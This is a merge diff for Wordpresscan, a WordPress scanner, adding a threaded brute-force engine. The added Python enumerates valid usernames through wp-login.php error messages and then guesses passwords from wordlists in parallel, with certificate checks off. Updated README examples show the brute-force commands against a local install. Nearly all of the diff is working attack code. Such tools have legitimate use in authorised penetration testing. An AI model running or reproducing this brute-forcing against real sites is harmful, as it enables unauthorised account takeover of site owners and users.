Merge pull request #19 from sokaRepo/master - Add Thread Engine for bruteforce
Add Thread Engine for bruteforcepull/17/merge
commit
79daa63cbc
21
README.md
21
README.md
|
@ -33,18 +33,23 @@ python main.py -u "http://localhost/wordpress" --update --random-agent
|
|||
```
|
||||
|
||||
Example 2 : Basic bruteforce (option --brute, option --nocheck)
|
||||
* bruteforce customs usernames
|
||||
```
|
||||
python main.py -u "http://127.0.0.1/wordpress/" --brute --usernames "admin,guest" --passwords-list fuzz/wordlist.lst
|
||||
```
|
||||
* bruteforce with usernames list
|
||||
```
|
||||
python main.py -u "http://127.0.0.1/wordpress/" --brute --users-list fuzz/wordlist.lst --passwords-list fuzz/wordlist.lst
|
||||
```
|
||||
* bruteforce detected users
|
||||
```
|
||||
python main.py -u "http://127.0.0.1/wordpress/" --brute --passwords-list fuzz/wordlist.lst
|
||||
```
|
||||
python main.py -u "http://127.0.0.1/wordpress/" --brute fuzz/wordlist.lst
|
||||
python main.py -u "http://127.0.0.1/wordpress/" --brute admin
|
||||
|
||||
--brute file.lst : Will bruteforce every username and their password
|
||||
--brute username : Will bruteforce the password for the given username
|
||||
it will also try to bruteforce the password for the detected users.
|
||||
|
||||
|
||||
|
||||
```
|
||||
╭─ 👻 swissky@crashlab: ~/Github/Wordpresscan ‹master*›
|
||||
╰─$ python main.py -u "http://127.0.0.1/wordpress/" --brute fuzz/wordlist.lst --nocheck
|
||||
╰─$ python main.py -u "http://127.0.0.1/wordpress/" --brute --users-list fuzz/wordlist.lst --passwords-list fuzz/wordlist.lst --nocheck
|
||||
_______________________________________________________________
|
||||
_ _ _
|
||||
| | | | | |
|
||||
|
|
|
@ -8,66 +8,109 @@ import urllib
|
|||
|
||||
from core import *
|
||||
from wordpress import *
|
||||
from multiprocessing import Process, Pool
|
||||
from thread_engine import ThreadEngine
|
||||
|
||||
class Brute_Engine:
|
||||
def __init__(self, wordpress, brute):
|
||||
if brute != None:
|
||||
def __init__(self, wordpress, brute, usernames, users_list, passwords_list):
|
||||
if brute:
|
||||
if usernames:
|
||||
users_to_brute = usernames.split(',')
|
||||
for user in users_to_brute:
|
||||
user = user.replace(' ', '')
|
||||
print notice("Bruteforcing " + user)
|
||||
self.bruteforcing_pass(wordpress, user, passwords_list)
|
||||
|
||||
# Bruteforce username
|
||||
if os.path.isfile(brute):
|
||||
self.bruteforcing_user(wordpress)
|
||||
# Bruteforce with usernames list
|
||||
elif users_list:
|
||||
for file_list in [users_list, passwords_list]:
|
||||
if not os.path.isfile(file_list):
|
||||
print critical("Can't found %s file" % file_list)
|
||||
exit()
|
||||
# launch users & passwords bruteforce
|
||||
self.bruteforcing_user(wordpress, users_list, passwords_list)
|
||||
|
||||
|
||||
# if users detected, bruteforce them
|
||||
else:
|
||||
if len(wordpress.users) != 0:
|
||||
print notice("Bruteforcing detected users")
|
||||
if not os.path.isfile(passwords_list):
|
||||
print critical("Can't found %s file" % passwords_list)
|
||||
exit()
|
||||
|
||||
print notice("Bruteforcing detected users: ")
|
||||
for user in wordpress.users:
|
||||
print info("User found "+ user['slug'])
|
||||
self.bruteforcing_pass(wordpress, user['slug'])
|
||||
self.bruteforcing_pass(wordpress, user['slug'], passwords_list)
|
||||
|
||||
else:
|
||||
print notice("Bruteforcing " + brute)
|
||||
print info("User found "+ brute)
|
||||
self.bruteforcing_pass(wordpress, brute)
|
||||
|
||||
# Exit the bruteforce
|
||||
exit()
|
||||
|
||||
"""
|
||||
name : bruteforcing_user(self, wordpress)
|
||||
description :
|
||||
"""
|
||||
def bruteforcing_user(self, wordpress):
|
||||
def bruteforcing_user(self, wordpress, users_list, passwords_list):
|
||||
print notice("Bruteforcing all users")
|
||||
|
||||
with open('fuzz/wordlist.lst') as data_file:
|
||||
with open(users_list) as data_file:
|
||||
data = data_file.readlines()
|
||||
thread_engine = ThreadEngine(wordpress.max_threads)
|
||||
users_found = []
|
||||
|
||||
for user in data:
|
||||
user = user.strip()
|
||||
data = {"log":user, "pwd":"wordpresscan"}
|
||||
if not "Invalid username" in requests.post(wordpress.url + "wp-login.php", data=data, verify=False).text:
|
||||
print info("User found "+ user)
|
||||
self.bruteforcing_pass(wordpress, user)
|
||||
thread_engine.new_task(self.check_user, (user, users_found, wordpress))
|
||||
thread_engine.wait()
|
||||
|
||||
for user in users_found:
|
||||
self.bruteforcing_pass(wordpress, user, passwords_list)
|
||||
|
||||
|
||||
def check_user(self, user, users_found, wordpress):
|
||||
data = {"log":user, "pwd":"wordpresscan"}
|
||||
while True:
|
||||
try:
|
||||
html = requests.post(wordpress.url + "wp-login.php", data=data, verify=False).text
|
||||
except:
|
||||
print critical('ConnectionError in thread, retry...')
|
||||
continue
|
||||
break
|
||||
# valid login -> the submited user is printed by WP
|
||||
if '<div id="login_error">' in html and '<strong>%s</strong>' % user in html:
|
||||
print info("User found "+ user)
|
||||
users_found.append(user)
|
||||
|
||||
|
||||
"""
|
||||
name : bruteforcing_pass(self, wordpress)
|
||||
description :
|
||||
"""
|
||||
def bruteforcing_pass(self, wordpress, user):
|
||||
def bruteforcing_pass(self, wordpress, user, passwords_list):
|
||||
print info("Starting passwords bruteforce for " + user)
|
||||
|
||||
with open('fuzz/wordlist.lst') as data_file:
|
||||
with open(passwords_list) as data_file:
|
||||
data = data_file.readlines()
|
||||
size = len(data)
|
||||
thread_engine = ThreadEngine(wordpress.max_threads)
|
||||
found = [False]
|
||||
|
||||
for index, pwd in enumerate(data):
|
||||
if found[0]: break
|
||||
pwd = pwd.strip()
|
||||
data = {"log": user, "pwd": pwd}
|
||||
percent = int(float(index)/(size)*100)
|
||||
thread_engine.new_task(self.check_pass, (user, pwd, wordpress, found))
|
||||
|
||||
print 'Bruteforcing - {}{}\r'.format( percent*"▓", (100-percent)*'░' ) ,
|
||||
# print 'Bruteforcing - {}{}\r'.format( percent*"▓", (100-percent)*'░' )
|
||||
thread_engine.wait()
|
||||
|
||||
if not "The password you entered" in requests.post(wordpress.url + "wp-login.php", data=data, verify=False).text:
|
||||
print warning("Password found for {} : {}{}".format(user,pwd, ' '*100))
|
||||
break
|
||||
|
||||
def check_pass(self, user, pwd, wordpress, found):
|
||||
data = {"log": user, "pwd": pwd}
|
||||
while True:
|
||||
try:
|
||||
html = requests.post(wordpress.url + "wp-login.php", data=data, verify=False).text
|
||||
except:
|
||||
print critical('ConnectionError in thread, retry...')
|
||||
continue
|
||||
break
|
||||
if not '<div id="login_error">' in html:
|
||||
print warning("Password found for {} : {}{}".format(user,pwd, ' '*100))
|
||||
found[0] = True
|
||||
|
|
|
@ -0,0 +1,51 @@
|
|||
#!/usr/bin/python
|
||||
# -*- coding: utf-8 -*-
|
||||
from threading import Thread
|
||||
# from time import sleep
|
||||
from core import critical, info
|
||||
|
||||
|
||||
class ThreadEngine(object):
|
||||
def __init__(self, max_threads):
|
||||
if max_threads < 1:
|
||||
print critical('Threads number must be > 0')
|
||||
exit()
|
||||
self.max_threads = max_threads
|
||||
self.threads = []
|
||||
print info('Start %d threads ...' % self.max_threads)
|
||||
|
||||
def new_task(self, task, args):
|
||||
""" Try to launch the new task,
|
||||
try again if thread limit exception raised
|
||||
"""
|
||||
while True:
|
||||
try:
|
||||
self.launch_task(task, args)
|
||||
except ThreadLimitError:
|
||||
# sleep(0.1)
|
||||
continue
|
||||
break
|
||||
|
||||
def launch_task(self, task, args):
|
||||
""" Lanch task in a new thread """
|
||||
self.clean_threads()
|
||||
if len(self.threads) < self.max_threads:
|
||||
t = Thread(target=task, args=args)
|
||||
self.threads.append(t)
|
||||
t.start()
|
||||
else:
|
||||
raise ThreadLimitError("Reached threads limit")
|
||||
|
||||
def clean_threads(self):
|
||||
""" Remove ended threads """
|
||||
for thread in self.threads:
|
||||
if not thread.isAlive():
|
||||
self.threads.remove(thread)
|
||||
|
||||
def wait(self):
|
||||
""" Wait for threads end """
|
||||
for thread in self.threads:
|
||||
thread.join()
|
||||
|
||||
class ThreadLimitError(Exception):
|
||||
pass
|
|
@ -15,10 +15,11 @@ class Wordpress:
|
|||
agent = False
|
||||
users = {}
|
||||
|
||||
def __init__(self, url, user_agent, nocheck):
|
||||
def __init__(self, url, user_agent, nocheck, max_threads):
|
||||
print info("URL: %s" % url)
|
||||
self.url = url
|
||||
self.agent = user_agent
|
||||
self.max_threads = int(max_threads)
|
||||
self.random_agent()
|
||||
self.clean_url()
|
||||
self.is_up_and_installed()
|
||||
|
|
10
main.py
10
main.py
|
@ -29,9 +29,13 @@ if __name__ == "__main__":
|
|||
parser.add_argument('--update', action ='store_const', const='update', dest='update', help="Update the database")
|
||||
parser.add_argument('--aggressive', action ='store_const', const='aggressive', dest='aggressive', default=False, help="Aggressive scan for plugins/themes")
|
||||
parser.add_argument('--fuzz', action ='store_const', const='fuzz', dest='fuzz', default=False, help="Fuzz the files")
|
||||
parser.add_argument('--brute', action ='store', dest='brute', default=None, help="Bruteforce users and passwords")
|
||||
parser.add_argument('--brute', action ='store_const', const='brute', dest='brute', default=False, help="Bruteforce users and passwords")
|
||||
parser.add_argument('--nocheck', action ='store_const', const='nocheck',dest='nocheck', default=False, help="Check for a Wordpress instance")
|
||||
parser.add_argument('--random-agent', action ='store_const', const='random_agent', dest='random_agent', default=False, help="Random User-Agent")
|
||||
parser.add_argument('--threads', action ='store', dest='max_threads', default=1, help="Number of threads to use")
|
||||
parser.add_argument('--usernames', action ='store', dest='usernames', default='', help="Usernames to bruteforce")
|
||||
parser.add_argument('--users-list', action ='store', dest='users_list', default=None, help="Users list for bruteforce")
|
||||
parser.add_argument('--passwords-list', action ='store', dest='passwords_list', default=None, help="Passwords list for bruteforce")
|
||||
results = parser.parse_args()
|
||||
|
||||
# Check wordpress url
|
||||
|
@ -45,10 +49,10 @@ if __name__ == "__main__":
|
|||
database_update()
|
||||
|
||||
# Build a new wordpress object
|
||||
wp = Wordpress(format_url(results.url), results.random_agent, results.nocheck)
|
||||
wp = Wordpress(format_url(results.url), results.random_agent, results.nocheck, results.max_threads)
|
||||
|
||||
# Launch bruteforce
|
||||
Brute_Engine(wp, results.brute)
|
||||
Brute_Engine(wp, results.brute, results.usernames, results.users_list, results.passwords_list)
|
||||
|
||||
# Launch fuzzing
|
||||
Fuzz_Engine(wp, results.fuzz)
|
||||
|
|
Loading…
Reference in New Issue